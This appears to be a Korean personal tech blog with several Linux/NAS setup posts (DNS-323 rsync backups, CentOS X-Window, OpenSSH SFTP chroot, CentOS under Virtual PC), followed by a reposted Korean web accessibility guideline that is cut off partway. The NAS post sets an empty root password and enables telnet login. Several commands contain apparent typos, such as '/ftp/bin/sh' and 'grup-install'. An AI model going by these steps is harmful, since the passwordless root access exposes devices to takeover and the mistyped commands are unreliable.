Dlink DNS-323 rsync를 이용한 자동 백업 서버 구축

그것(it) 2009/06/23 13:31
1. DNS-323에 텔넷 접속과 필요한 패키지를 설치하기 위해서 fun_plug를 설치합니다.
   - 펀플러그 다운로드 사이트 : http://www.inreto.de/dns323/fun-plug/0.5/
   - 위 사이트에서 fun_plug와 fun_plug.tgz을 다운로드 받습니다.
   - FTP 또는 윈도우공유를 이용해서 Volume_1 폴더에 업로드 한다. ftp로 업로드 했을 경우에는 fun_plug에 실행권한을 반드시 줘야한다.
   - DNS-323을 리부팅 한다.

2. root 암호 활성화 하기. 다음 실행을 따라 하면 된다.
   # pwconv
   # passwd    <= 새암호를 입력
   # mkdir /ffp/root
   # chown root.root /ffp/root
   # chmod 700 /ffp/root        <= 루트 디렉토리 변경은 후에 자동로그인을 위해서 /root의 설정정보를 보관하기  위함이다.
   # usermod -d /ffp/root -s /ftp/bin/sh root
   # login   <= 원하는대로 로그인이 되는지 확인. shell의 위치만 변경하려면 # chsh -s /ftp/bin/sh root 와 같이 변경할 수 있다.
   # store-passwd.sh

3. sshd 이용하기
   #  cd /ffp/start
   # chmod a+x sshd.sh
   # chmod a-x telnetd.sh
   # sh sshd.sh start
   ***** 참고로 telnetd를 로그인하면서 사용하려면
   # sed -i '/flags/ s@^@#@' telnetd.sh   <=명령 또는 직접 flags라는 라인앞에 주석(#)처리 해도 됨.
   # cd /tmp
   # nohup sh /ffp/start/telnetd.sh restart
   ***** 암호 없이 로그인 하기 설정
   # usermod -p '' root

4. cron을 이용한 자동화
   # cd /ffp/start
   # cat - > crontab.sh
----------------------- 여기서 부터 스크립트 시작 ---------------------------
#!/bin/sh

CRONTEXT=/mnt/HD_a2/crontab.txt

#start with existing crontab
/bin/crontab -l > $CRONTEXT

#add backup entire rsync script at 5.17am
/bin/echo "17 05 * * * root /mnt/HD_a2/ffp/etc/rsync.sh" >> $CRONTEXT

#install new crontab
/bin/crontab $CRONTEXT

#clean up
/bin/rm $CRONTEXT
----------------------- 여기까지 스크립트 끝 ---------------------------
    # 위의 에코부분을 적절히 수정함
    # chmod a+x crontab.sh
    # ./crontab.sh

5. ssh를 이용한 rsync백업에서 자동 로그인 설정
   # ssh-keygen -t rsa
   ---------- 암호 묻는 곳에서 모두 그냥 엔터만...
   # cd ~/.ssh
   ---------- id_rsa.pub 파일을 원하는 서버의 root계정의  $HOME/.ssh/authorized_keys 파일로 복사 또는 끝에 내용을 추가하면 된다.
    - rsa 키파일이 기본값(~/.ssh/id_rsa) 가 아닐 경우
       rsync -avfruPz --delete --stats --exclude-from={exclude-filename} -l -t -e 'ssh -i {key-filename}' {source} {destination}
       형식으로 지정해서 작업할 수 있다.
 
Trackback 0 : Comment 0

서버에 X-Window 추가 설치하기 (CentOS)

그것(it) 2009/05/26 11:53
일반적으로 서버로 쓸경우 X-Window 패키지들은 설치를 하지 않는다.
나 같은 경우는 서버별로 꼭 필요한 최소 패키지를 인스톨하고 있다.
그런데 운영하다 갑자기 X-Window가 필요한 경우가 생겼다.
그렇때는
yum을 이용해서 설치한다.
1. 그놈 데스크탑 환경 설치
  # yum groupinstall "X Window System" "GNOME Desktop Environment"

2. KDE 데스크탑 환경 설치
  # yum groupinstall "X Window System" "KDE (K Desktop Environment)"

그리고 한글 패키시 설치 안되어 있으면....
  # yum install kde-i18n-Korean
  # yum install fonts-korean
Trackback 1 : Comment 0

openssh5.x 에서의 chroot 이용.

그것(it) 2008/12/26 13:04
제가 쓰는 방법은 우선 단순히 이용자에게 웹서비스를 하면서 웹서버의 관련파일들만을 변경할 수 있도록 하기를 원함이다. 그래서 쉘은 주지 않고 다만 sftp만을 이용할 수 있도록 하게 해준다.

1. openssh5.x 버전을 설치한다. <설치방법생략>
2. sshd_config 설정 변경
   ---------------- 전략 ---------------------
   #Subsystem      sftp    /usr/libexec/openssh/sftp-server
   Subsystem       sftp    internal-sftp
  
   Match group chroots
           ChrootDirectory /home/%u
           X11Forwarding no
           AllowTcpForwarding no
           ForceCommand internal-sftp
=> 위와 같이 설정파일 끝에 추가해 주세요. Match group chroots에서 chroots는 그룹명이며 임의로 설정하면 됩니다. Match 방법은 그룹이 아니고 유저로도 가능하며, 원하는 방식대로 하면 됩니다. man sshd_config 해보시면 자세히....
3. /etc/group 파일 변경
-------------- 전략 ----------------------
chroots:x:499:user1,user2,user3
-------------- 후략 ----------------------
=> 위와 같이 그룹을 하나 추가하시고 거기에 chroot할 유저들을 나열해 주시면 되겠습니다.
4. /etc/passwd 파일에서 chroot 사용자의 쉘(/bin/false)을 변경해 줍니다.
   user1:x:501:501::/home/user1/:/bin/false
5. 각 user의 홈디렉토리의 권한을 변경 위에서 user1의 경우 /home/user1이 홈이라면
# chown root.root /home/user1
# chmod 755 /home/user1
6. sshd 데몬 재실행
7. 주요이슈... : 이렇게 했을 경우 sftp로만 접속이 가능하다. 그리고 자신의 홈디렉토리가 root권한이 되었으므로 접속하 자신의 홈에는 파일을 생성/수정/삭제가 불가능하다. 따라서 홈아래에 디렉토리 만들고 그 디렉토리 소유자를 계정사용자로 하면 됩니다. 난 웹서비스 이므로 기본적으로 자신의 계정 하위에 public_html이라는 디렉토리만 사용하고 그 디렉토리를 user1의 소유로 변경함으로써 작업은 마무리 됩니다.

기존 방식대 chroot 홈디렉토리를 만들고 필요한 쉘을 복사해 넣고 쓰는 방법도 간단히 사용할 수 있습니다.
대략 이런 방법으로 sshd_config에 위에서 추가한 내용대신 아래와 같이 넣어 주시고
  Match group chroots
     
ChrootDirectory /var/chroot
/var/chroot 에 각각 사용자 환경 구성해 주면 되겠습니다.
Trackback 0 : Comment 0

Windows Virtual PC 2007에서 CentOS5.2설치하기

그것(it) 2008/09/12 17:24
우선 처음 설치시에 그래픽 모드가 깨지므로...

설치시 텍스트 모드로 설치한다.
설치화면에서
:linux text

설치 후 작업

1. X-Windows 그래픽 문제
/etc/X11/xorg.conf 에서 그래픽 Depth를 변경한다.
---------------
DefaultDepth 16
SubSection "Display"
   Viewport 0 0
   Depth  16
EndSubSection
-----------------

2. 마우스 인식 문제
/boot/grub/grub.conf 의 부팅시 커널 옵션 변경. 옵션 맨 끝에 18042.noloop 추가
--------------
  kernel /vmlinux-2.6.18-92.el5 ro root=LABEL=/ rhgb quiet 18042.noloop
--------------
변경 후에
# grup-install [install_device]
# reboot

태그 : linux virtualpc
Trackback 0 : Comment 0

인터넷 웹 콘텐츠 접근성 지침

그것(it) 2008/01/02 19:22
인터넷 웹 콘텐츠 접근성 지침
(Internet Web Contents Accessibility Guideline)
 
 
1. 표준의 목적
 
이 문서는 장애를 가진 사람들이 접근할 수 있도록 웹 콘텐츠를 제작하는 방법에 관하여 기술하고 있다. 특별히 이 문서 내에 포함된 지침들은 웹 콘텐츠 저자, 웹 사이트 설계자 및 웹 콘텐츠 개발자들이 웹 콘텐츠를 접근성(Accessibility)을 준수하여 쉽게 만들 수 있도록 도움을 주기 위하여 기획되었다.
 
 
2. 참조권고 및 표준
 
2.1 국제표준(권고)
o W3C Recommendation, "Web Contents Accessibility Guideline 1.0", May.1999.
o Section 508 Amendments subpart B -Technical Standards, "Web-based intranet and Internet information and application", Dec. 2000
2.2 국내표준 : 없음
2.3 기타 : 없음
 
 
3. 국제표준(권고)과의 비교
 
3.1 국제표준(권고)과의 관련성
o W3C WAI WCAG 1.0 (1999. 5)의 중요도 1과 미국 재활법 508조 기준을 중
심으로 국내 실정에 맞게 구성함
o국내 스크린 리더,화면확대기 등 보조기술(Assistive Technology)과의 호환성
문제를 고려하여 국내 실정에 맞는 지침으로 구성함
3.2 상기 국제표준(권고) 등에 대한 추가사항
3.2.1 선택항목 : 없음
3.2.2 National Matter 항목 : 없음
3.2.3 기타항목 : 없음
 
 
4. 지적재산권 관련사항
 
해당사항 없음
 
 
5. 적합인증 관련사항
 
해당사항 없음
 
 
6. 표준의 이력
 
판수 : 제 1판
제.개정일 : 2005년 12월 21일
개정판 내용 : 제정
 

 
1. 개 요

이 문서는 장애를 가진 사람들이 접근할 수 있도록 웹 콘텐츠를 제작하는 방법에 관하여 기술하고 있다.특별히 이 문서 내에 포함된 지침들은 웹 콘텐츠 저자,웹사이트 설계자 및 웹 콘텐츠 개발자들이 접근성(Accessibility)을 준수한 웹 콘텐츠를 쉽게 만들 수 있도록 도움을 주기 위하여 기획되었다.
 
이 지침을 제정하는 가장 큰 목적은 웹 콘텐츠에 접근하려는 모든 사람들이 어떤 컴퓨터나 운영체제, 또는 웹 브라우저(web browser)를 사용하든지, 또는 어떠한 환경에 처해 있는지에 구애받지 않고 접근할 수 있는 웹 콘텐츠를 제작할 수 있도록 도와주는것이다. 그렇다고 해서 이 지침이 장애인들의 접근권을 위하여 그래픽 이미지나 비디
오 자료와 같이 장애인들이 접근하기 어려운 콘텐츠를 사용하지 못하도록 제한하는 것은 아니며, 이들 멀티미디어 콘텐츠들도 보다 광범위한 부류의 사람들이 용이하게 접근할 수 있도록 콘텐츠를 구성하는 방안을 제시하는데 주목적이 있다.
 
이 지침은 한국 정보통신접근성향상표준화포럼 산하 웹접근성분과위원회가 주축이 되어 제안하는 것으로 국제 표준화 기구인 W3C(World Wide Web Consortium)의 WAI(Web Accessibility Initiative)에서 1999년 5월 제정한 웹 콘텐츠 접근성 가이드라인(WCAG : Web Content Accessibility Guidelines 1.0)과 WCAG 2.0 초안 (2003
년 6월 24일판)을 참고하였으며, 부분적으로 미국 재활법 508조를 참고하여 작성한 것이다. 특히 제정시점을 기준으로 국내의 웹 환경 및 관련 보조기술의 실태를 조사하고 그 결과를 토대로 표준(안)을 마련하였다.
 
 
2. 표준의 구성 및 범위

2.1 지침 제정 목적

이 문서는 접근이 가능한 웹 콘텐츠를 만들기 위한 설계 원리를 개괄한다. 만일 이 문서에서 제시하는 원리를 무시한 채로 웹 콘텐츠를 제작한다면 장애를 가진 사람들은 웹 콘텐츠에 접근할 수 없거나 접근하는 데에 어려움이 따르게 된다. 반면에 이 문서에서 제시한 원리에 따라 웹 콘텐츠를 제작한다면 적절한 보조기술을 사용하는 장애인
들은 해당 콘텐츠에 충분히 접근할 수 있을 것이다. 웹 문서를 설계함에 있어서 고려해야 하는 접근권의 유형은 다음과 같다.
 
1) 시각을 통하여 정보를 인지할 수 없거나 인지 능력이 떨어지는 시각장애가 있는 경우
 
2) 청각을 통하여 음향 정보를 인지하지 못하는 청각장애가 있는 경우
 
3) 신경계의 마비, 근골격계의 마비 또는 선천성 기형 등으로 신체의 움직임에 제한이 있는 지체장애가 있는 경우
4) 읽기나 문장 이해력이 떨어지는 언어장애가 있는 경우
5) 키보드나 마우스를 사용할 수 없는 장애가 있는 경우
6) 문서에 적용된 언어에 따라 말하거나 이해하는데 어려움이 있는 장애가 있는 경우 - 예를 들면 외국어로 작성된 콘텐츠를 이해하지 못하는 경우
7) 시각, 청각 또는 손을 사용하고 있어서 필요로 하는 일을 할 수 없는 경우 - 예를 들어 운전 중이나 소음이 많은 곳에서 일하는 경우로 장애라기보다는 처한 환경에 따라 제한 받는 경우
8) 사용하고 있는 웹 브라우저의 종류나 버전이 다름으로 인하여 어려움이 발생하는 경우 등이다.
콘텐츠 제작자는 모든 사용자들이 충분히 접근할 수 있는 콘텐츠를 설계하거나 제작 할 필요가 있다. 이 문서에서는 위에 열거한 경우에도 충분히 그 내용을 인지할 수 있도록 하기 위한 웹 콘텐츠의 설계 방법에 대한 지침을 제시할 것이다. 그러나 이 문서는 기본적인 목적이 HTML 문법을 교육시키거나 HTML을 이용하여 웹 문서를 설계
하는데 필요한 기초적인 지식을 제공하려는 것은 아니다.
 
2.2 문서의 구성

이 문서에서는 사람들이 필요한 부분을 빠르게 찾아볼 수 있도록 하기 위해 서로 관계가 있는 항목들을 네 가지 지침으로 분류하였다. 즉, 웹 콘텐츠에 접근하기 위해 갖추어야 할 네 가지 주요 지침은 인식의 용이성,운용의 용이성,이해의 용이성,기술적진보성의 네 가지이며,네 가지 지침은 각각 몇 개의 검사항목(또는 항목)으로 구성된
다. 본 표준에서 제시하는 검사항목은 총 14개이다. 각 검사항목은 요구사항, 용어정의, 해당 항목을 준수함으로써 얻어지는 혜택 및 적용 예 등으로 구성된다.
 
 
3. 접근성 있는 웹 콘텐츠 설계

이 문서에서 목표로 하는 것을 개괄하면, 모든 사용자가 그 내용을 인지할 수 있으며, 운용할 수 있고, 이해할 수 있는 웹 콘텐츠를 만들 수 있도록 하는 것이다. 이 경우에 현재까지 개발된 보조기술이나 앞으로 개발될 기술을 사용하는 경우도 염두에 두고 있다. 접근성이 준수된 웹 콘텐츠란 아래의 네 가지 지침을 만족하는 경우에 가능
하다. 따라서 이 문서에서는 아래의 네 가지 지침에 포함되는 모든 검사항목을 만족해야 접근성이 있다고 하며, 일부분 또는 전체 검사항목을 만족하지 못하는 경우에는 접근성이 없는 웹 콘텐츠라고 정의한다.
 
가. 인식의 용이성 : 글로 표현할 수 없는 콘텐츠를 제외하고 장애 유형에 관계없이 모든 사용자가 콘텐츠를 인지할 수 있도록 제공해야 한다.
 
나. 운용의 용이성 : 콘텐츠에 포함된 모든 구성 요소들은 장애 유형과 관계없이 모든 사용자가 사용할 수 있어야 한다.
 
다. 이해의 용이성 : 모든 콘텐츠는 가능한 한 그 내용과 사용 방법을 모든 사용자가 이해하기 쉽도록 구성해야 한다.
 
라. 기술적 진보성 : 현재 개발된 보조기술로는 접근이 어렵거나 불가능한 웹 콘텐츠는 가용한 보조기술을 이용하여 접근할 수 있도록 대체 콘텐츠를 함께 제공해야 한다.
 
접근성이 있는 웹 콘텐츠는 장애를 가진 사람들만이 아니라 다양한 사람들에게 도움을 줄 수 있다. 예를 들어 엘리베이터는 휠체어를 타고 있는 사람에게만 유용한 것이 아니라 유모차로 이동하는 사람이나 노약자에게도 유용하다. 마찬가지로 접근성이 있는 웹 콘텐츠는 장애를 가지고 있는 사람이나 그렇지 않은 사람 모두에게 도움을 줄
수 있다. 예를 들어, 소음이 심한 지역에서 웹사이트에 접근하거나 웹 문서상의 음성정보를 이용하는 경우에 캡션이 제공된다면 제한적인 환경에도 불구하고 그 내용을 알수 있을 것이다. 운전중인 경우에는 눈을 다른 데로 돌릴 겨를이 없기 때문에 문서를 읽어 주거나 음성정보를 제공하도록 구성된 콘텐츠가 매우 유용할 것이다. 마찬가지로
영화에 캡션(자막)이 제공된다면 검색 엔진을 활용하여 이 영화로부터 유명한 대사를 쉽게 찾을 수 있는 편리성을 제공하기도 한다.
여기서 고려해야할 장애의 유형과 장애를 극복하기 위하여 사용될 수 있는 대체 수단에 관한 몇 가지 방법을 살펴보자.
 
가. 들을 수 없는 사람은 일반적으로 소리를 통해 제공되는 정보를 눈으로 보고 싶어한다.
 
나. 볼 수 없는 사람은 시각적으로 제공되는 정보를 텍스트 또는 점자 정보로의 변환을 통해 듣거나 읽을 수 있기를 원한다.
 
다. 민첩하거나 용이하게 움직일 수 없는 사람은 가능한 한 적게 움직여서 원하는 일을 하거나 필요한 만큼 충분한 시간동안 작업 할 수 있기를 원한다.
 
라. 글씨를 잘 읽지 못하는 사람은 그 내용을 음성으로 읽어주기를 원한다.
위에 예로든 네 가지 경우는 모든 장애 유형이나 경우를 망라한 것이 아니며, 자주 접하게 되는 경우에 이에 대한 대책을 예로 든 것이다. 따라서 보다 복잡한 경우에는또 다른 접근 방법을 마련해야 한다.
만약 어떤 웹 콘텐츠가 이 문서에서 제시하는 항목에 따라 제작된다면 사용자는 보조기술을 사용하여 웹 콘텐츠에 쉽게 접근할 수 있다.예를 들어 스크린 리더(screen reader)와 적당한 웹 브라우저(web browser)를 사용하면 웹 페이지의 내용을 음성으로 읽어줄 수 있어서 음성으로 그 내용을 읽어주기 원하는 모든 사람들의 접근권을 보장할 수 있다. 스크린 리더와 같이 장애유형별로 웹 콘텐츠에 접근할 수 있도록 도와주는 많은 보조기술들이 개발되어 있으므로 장애 유형과 필요한 보조기술을 활용하여 웹 콘텐츠에의 접근성을 향상시킬 수 있다. 이와 관련한 사항은 관련 장애인 단체에서 제공하는 정보나 웹사이트를 참고하라.

지침 1. 인식의 용이성
웹사이트에서 서비스하고 있는 모든 콘텐츠는 누구나 쉽게 인식할 수 있도록 설계되어야 한다.
 
 
항목 1.1 (텍스트 아닌 콘텐츠(non-text contents)의 인식)
텍스트 아닌 콘텐츠 중에서 글로 표현될 수 있는 모든 콘텐츠는 해당 콘텐츠가 가지는 의미나 기능을 동일하게 갖추고 있는 텍스트로도 표시되어야 한다.
 
가. 용어 정리
 
(1) 텍스트 아닌 콘텐츠(non-text contents)란 그림,이미지 등으로 제작된 텍스트,애니메이션, 아스키(ASCII) 그림문자, 목록표시 이미지, 그래픽 버튼, 음성음향자료 또는 비디오 자료 등의 오디오와 영상과 같이 표준 문자(부호) 체계가 아닌, 시각적 또는 청각적 정보가 포함된 콘텐츠를 의미한다. 한글 부호의 경우에는 유니코드, 조합형 또는 완성형 부호체계를 사용하여 작성된 텍스트 외의 모든 경우를 의미한다.
(2) 빈 문자(blank text)란 아무런 정보도 가지고 있지 않은 문자열을 의미한다. HTML 등의 문법에서 빈 문자는 “”을 가리킨다. 즉, 빈 문자를 스크린 리더에서 읽으면 아무런 소리도 나지 않는다.
 
나. 요구 조건
 
(1) 텍스트 아닌 콘텐츠 중에서 글로 표현될 수 있는 콘텐츠는 모두 해당 콘텐츠와 정확하게 일치하는 텍스트 콘텐츠(text contents)와 함께 제공해야 한다.
(2) 만약, 텍스트 아닌 콘텐츠 중에서 글로 표현될 수 없는 경우는 해당 콘텐츠에 대한 설명을 텍스트로 반드시 제공해야 한다. 이 때, 제공되는 텍스트 콘텐츠는 설명하고자 하는 원래의 콘텐츠의 내용이나 형태 등의 상세한 정보를 제공해야 한다.
 
(3) 텍스트 아닌 콘텐츠를 대체하거나 설명하기 위해 제공되는 텍스트는 콘텐츠 제작자가 원래의 콘텐츠를 사용해 표현하고자 했던 의미나 기능도 포함하여 설명해야 한다.
(4) 텍스트 아닌 콘텐츠를 대체하거나 설명하기 위해 제공되는 텍스트를 읽어줌으로 인하여 의미의 혼동을 줄 경우에는 빈 문자(blank text)를 대체 텍스트로 사용해야 한다.
 
다. 적용시 장점

(1) 시각장애 또는 인지장애 등으로 인해 시각으로 정보를 습득하는 데에 어려움을 겪는 사용자들이 스크린 리더(screen reader)와 같은 보조기술을 사용하여 텍스트 콘텐츠를 음성을 통해 읽음으로써 접근권을 보장받을 수 있게 된다.
 
(2) 청각장애나 다른 이유로 음향 정보를 알아들을 수 없는 사용자들을 위해 그 내용을 텍스트로 표시하거나 수화로 해당 내용을 번역함으로써 접근이 가능하게 된다.
(3) 시각장애인은 물론 시각장애와 청각장애를 함께 갖고 있는 사용자 역시 해당 콘텐츠를 점자로 변환해 읽음으로써 접근권을 보장받을 수 있게 된다.
 
(4) 몇 개의 자료를 순서대로 나열하는 목록 등 해당 이미지가 단순히 홈페이지를 아름답게 꾸미기 위해 사용된 경우에는 이미지에 대한 대체 텍스트(alt-text)로 빈 문자를 사용하면 의미의 불필요한 혼동을 줄일 수 있다.
 
라. 적용 예
 
(1) 버튼으로 사용된 이미지 : 간단한 기능 설명부가 슬라이드 쇼에서 다음 슬라이드로 넘어가는 역할을 하도록 만든 오른쪽 화살표 모양의 이미지 링크(image link)의 경우에 이 버튼 이미지와 함께 "다음 슬라이드"라는 대체 텍스트를 함께 제공한다면 스크린 리더는 이 이미지 버튼을 "링크 - 다음 슬라이드"라고 읽어줄 수 있게 된다.
(2) 데이터 차트 : 간단한 레이블과 충분한 설명을 함께 제공 예를 들어 어떤 상품의 6월, 7월 및 8월의 판매실적을 비교해 보여주는 차트에 "그림 1 : 6월, 7월 및 8월의 판매 현황"이라는 간단한 레이블(label)을 붙이고, 차트에
대한 보다 긴 설명문(longdesc)을 붙인다면 해당 차트의 내용과 해당 차트가 표시하고 있는 정보를 사용자에게 전달할 수 있다.
 
(3) 애니메이션 : 간단한 레이블과 충분한 설명을 함께 제공 예를 들어 매듭을 짓는 방법을 보여주는 애니메이션의 경우에 "매듭을 만드는 형태를 보여주는 애니메이션"이라는 간단한 레이블과 함께 매듭짓기 위하여 손놀림하는 동
작을 자세하게 설명하는 설명문을 붙인다면 매듭을 만드는 전 과정을 이용자가 자세하게 알 수 있다.
(4) 연설 녹음자료 : 간단한 레이블과 긴 설명을 함께 제공 웹 페이지에 음성 데이터가 포함되어 있는 경우에 이 데이터와 함께 간단한 제목을레이블로 구성하고 음성 데이터의 내용에 대한 텍스트를 함께 제공한다면 청각장애인의 경우에도 모든 정보를 얻을 수 있다.
 
(5) 음악 자료 : 간단한 레이블 제공 예를 들어 베토벤의 교향곡 제 5번의 연주실황을 제공하는 음악 파일을 웹 페이지에서 제공하고 있는 경우에 이 음악 파일과 함께"베토벤 교향곡 제5번, 빈 필하모닉 오케스트라의 연주"라는 레이블을 함께 제공한다면 청각장애인의 경우에 음악 파일이 무슨 내용을 담고 있는지를 쉽게 알 수 있다.

항목 1.2 (영상매체의 인식)
시간에 따라 변화하는 영상매체는 해당 콘텐츠와 동기 되는 대체 매체를 제공해야 한다.
 
가. 용어정리
(1) 시간에 따라 변화하는 영상매체(time-dependent presentation)란 영화와 같이 소리와 영상정보가 동시에 제공되는 경우 혹은 콘텐츠 재생 과정의 특정 시점에서 사용자와의 상호작용 또는 대화가 필요한 매체를 말한다.
 
(2) 대체 매체(equivalent media)란 영상매체의 음향정보를 캡션과 같이 시각적으로 보여주거나 영상의 기본적인 내용을 화면해설 형태로 제공하는 매체를 의미한다.
(3) 화면해설(audio descriptions)이란 영상의 광경, 동작, 비언어적 표현, 그래픽 등의 상태나 변화를 음향정보로 나타내거나 텍스트로 제공하여 필요한 설명을 제공하는 것을 의미한다.화면해설은 해당 이벤트와 동기 되어 진행되어야 한다.
 
(4) 캡션(Captions)이란 영상매체에 포함된 말, 음향 및 주변소리 등을 텍스트로 표현한 매체를 의미한다. 따라서 캡션은 영상매체의 진행에 따라 해당 이벤트와 동기되어야 한다.
나. 요구조건
 
(1) 음향 정보로부터 사용자가 충분한 정보를 얻을 수 없는 모든 영상매체는 캡션을 함께 제공해야 한다.
(2) 캡션은 영상매체나 음향매체와 동기 되어야 한다.
 
(3) 모든 생방송은 캡션을 실시간으로 제공해야 한다. 단 음성이 없는 음악 방송의 경우에는 예외로 한다.
(4) 콘텐츠는 사용자가 캡션과 영상정보를 동시에 접해야 그 내용을 이해할 수 있도록 구성되어서는 안 된다. 즉, 캡션과 영상정보는 서로 보완관계가 되지 않아야 한다.
 
다. 적용시 장점
(1) 청각장애인은 음향매체와 함께 제공되는 캡션을 통해 음성이나 음향 정보에 접근이 가능하게 된다. 또한, 캡션을 활용하면 해당 콘텐츠에 대한 인덱스를 작성하거나 내용을 검색할 때에도 유용하게 사용될 수 있다.
 
(2) 장애인이 아닌 경우에도 영상매체와 함께 동기 되는 대체 매체가 제공되는 경우에 보다 편리하게 콘텐츠를 활용할 수 있다. 예를 들어 캡션은 소란한 환경이나 오디오 재생기능이 갖추어져 있지 않은 경우 유용하며, 외국어 습득과 같이 언어능력이나 읽기 능력을 높이는데 활용될 수 있다.
(3) 화면해설의 경우에는 화면을 보지 않더라도 중요한 정보를 음성으로 알 수 있게 해주므로 시각을 통해 사물을 인식하기 어려운 장애인의 경우에는 화면해설을 통해 화상정보를 인지할 수 있다. 그러나 화면해설은 필수사항으로 분류하지 않는다.
 
라. 적용 예
(1) 동영상 : 화면해설과 캡션 활용
예를 들어, 한 아이가 강아지를 자신의 침대로 오도록 과자를 늘어놓고는 강아지에게 웅얼거리며 무언가를 말하고 있는 장면을 가정한다면, 화면을 볼 수 없는 사람은이 장면을 이해할 수 없다.따라서 이 경우에"이 아이가 계단으로부터 자기 침실에 이르는 계단마다 과자를 하나씩 늘어놓았다"라는 화면해설과"아이가 웅얼거린다"라는
캡션을 제공한다면 청각장애인이나 시각장애인 모두 그 내용을 정확히 이해할 수 있다.
 
(2) 뉴스 동영상 : 영상과 동기되는 캡션 제공
예를 들어, 홍수가 난 대도시의 광경을 기자가 설명하고 있다고 가정할 경우에 기자가 하는 말을 캡션으로 표시하면 청각장애인이 기자의 이야기를 인식할 수 있게 된다.
(3) 무언극 : 장면별로 장면소개 텍스트 제공
예를 들어, 사다리를 올라가는 무언극(팬터마임 : pantomime)의 한 장면을 애니메이션으로 구성하였을 경우에“사다리를 올라가는 장면”이라는 대체 텍스트를 애니메이션에 포함시키면 이로써 충분한 정보를 사용자에게 제공할 수 있다.
 
항목 1.3 (색상에 무관한 인식)
콘텐츠가 제공하는 모든 정보는 색상을 배제하더라도 인지할 수 있도록 구성되어야 한다.
 
가. 용어정리
(1) 고 대비(high contrast) 모드란 흑백과 같이 대비차가 매우 크도록 조정하여 화면
에 표시하는 방식을 의미한다.
 
나. 요구사항
(1) 콘텐츠가 제공하는 텍스트나 그래픽 정보는 색상을 제거하더라도 그 내용을 인지할 수 있어야 한다.
 
(2) 웹 페이지에서 보여주는 정보와 배경색 간에는 충분히 대비가 되어야 한다. 특히 웹 페이지의 내용을 고 대비(high contrast) 모드로 표시했을 때에도 충분히 명암대비가 되도록 콘텐츠를 설계하여야 한다.
 
다. 적용시 장점
(1) 색상의 차이가 정보의 다름을 나타내지 않으므로 색각(색맹 또는 색약) 이상자의 경우에도 혼동을 일으킬 염려가 없게 된다.
 
(2) 도표 등의 경우에 사용하는 색상의 명암 대비가 충분하므로 약시자의 경우에도 도표를 정확히 인지할 수 있다.
(3) 고대비 모드를 사용할 수밖에 없는 사용자들도 콘텐츠의 내용이나 구조를 손쉽게 이해할 수 있다.
 
라. 적용 예
(1) 그래프 및 차트 : 색깔보다는 무늬를 이용한 표현 권장
파이 차트, 막대그래프나 꺾은 선 그래프 등을 이용하여 정보를 표시하는 경우에 각각의 영역을 색깔로 구분하기보다는 여러 가지 무늬를 이용하여 표시하면 색상을 인식할 수 없는 사용자들,예를 들면 약시자나 색각이상자가 쉽게 이해할 수 있다.
 
(2) 중요한 항목 표시 : 색깔보다는 특수기호 사용 권장
예를 들어,가입자의 신상 정보를 입력하는 웹 페이지에서 필수항목을 색깔(예를 들어 빨간색)을 사용하여 표시하는 경우에 이 색깔을 인지하지 못하는 색각 이상자의 경우에는 이 항목의 중요도를 인지할 수 없다.따라서 색깔 대신 특수 기호(예를 들어 별표)를 이 항목에 추가하면 대부분의 사용자가 이 항목이 중요한 항목인지를 쉽게 인
지할 수 있다.

지침 2 운용의 용이성
웹 콘텐츠에 포함된 모든 요소들의 기능은 누구나 쉽게 사용할 수 있어야 한다.
 
항목 2.1 (이미지 맵 기법 사용 제한)
이미지 맵 기법이 필요할 경우에는 클라이언트측 이미지 맵을 사용하며 서버측 이미지 맵을 사용할 경우에는 동일한 기능을 하는 텍스트로 구성된 대체 콘텐츠를 제공해야 한다.
 
가. 용어 정리
(1) 이미지 맵(image map)이란 이미지의 일부 영역에 링크를 두어 사용자에게 해당 정보를 제공할 수 있는 페이지로 이동하도록 만드는 프로그램 기법이다.
 
(2) 서버측 이미지 맵(server-side image map)이란 이미지 맵을 구현하는 프로그램이서버측에 존재하여 사용자의 웹 브라우저가 이미지 맵 상의 어떤 그림 위에 마우스를 위치시키고 클릭하면 클라이언트가 마우스의 위치정보를 서버로 제공하고, 서버는 전달되어온 마우스의 위치에 해당하는 이미지 맵의 영역이 지시하는 링크로 이동한 결과를 클라이언트에 표시하는 방식의 프로그램 기법이다.
(3) 클라이언트측 이미지 맵(client-side image map)이란 HTML 태그를 이용하여 사용자의 브라우저에서 이미지 맵의 영역을 식별하여 직접 해당 영역이 지시하는 링크로 이동하도록 하는 프로그램 기법이다.
 
나. 요구조건
(1) 구성하려는 이미지 맵의 형태를 클라이언트측에서 기하학적으로 표현하기 어려운 경우가 아니면 서버측 이미지 맵을 사용하지 않는다.
 
(2) 서버측 이미지 맵 기법을 사용할 경우에는 이미지 맵의 영역에 대응하는 텍스트링크를 별도로 제공해야 한다(항목 1.1 참조).
(3) 클라이언트측 이미지 맵을 사용할 경우에는 이미지 맵의 영역에 대한 충분한 대체 텍스트를 제공하여야 한다(항목 1.1 참조).
 
다. 적용시 장점
(1) 서버측 이미지 맵 방식에서 서버는 해당 영역에 대한 대체 텍스트를 사용자에게 제공하지 못하며,단지 컴퓨터 화면상에 표시할 뿐이다.따라서 이 항목을 적용하면 대체 텍스트 링크가 없는 서버측 이미지 맵의 사용을 제한하므로 시각장애인의 접근성을 높일 수 있게 된다.
 
(2) 클라이언트측 이미지 맵을 사용하는 경우에도 영역을 표시하는 부분에 대체 텍스트를 함께 표시한다면 이미지 맵의 영역을 읽어주므로 시각장애인들이 이미지맵의 어느 영역을 가리키고 있는지를 확인할 수 있다(항목 1.1 참조).
라. 적용 예
 
(1) 클라이언트측 이미지맵 : 대체 텍스트 지원
<AREA> 태그를 사용하여 클라이언트측 이미지 맵을 작성할 경우 대체 텍스트를 해당 영역에서 제공하여야 한다.
 
(2) 서버측 이미지맵 : 링크목록 제공
서버측 이미지 맵을 사용할 경우에는 대체 텍스트로 구성된 링크목록을 같은 페이지에 제공하면 시각장애인들이 텍스트 링크를 사용하여 필요한 작업을 할 수 있다(항목 1.1 참조).
 
항목 2.2 (프레임의 사용 제한)
콘텐츠를 구성하는 프레임의 수는 최소한으로 하며, 프레임을 사용할 경우에는 프레임별로 제목을 붙여야 한다.
 
가. 용어 정리 : 없음
나. 요구조건
 
(1) 웹 콘텐츠에는 가급적 프레임을 사용하지 않아야 한다. 만일 프레임을 사용하는
경우에도 사용하는 프레임의 수를 최소한으로 줄여야 한다.
(2) 프레임을 사용할 경우에는 프레임 별로 서로 독특한(중복되지 않는) 제목을 부여
하여 프레임을 식별할 수 있어야 한다.
 
다. 적용시 장점
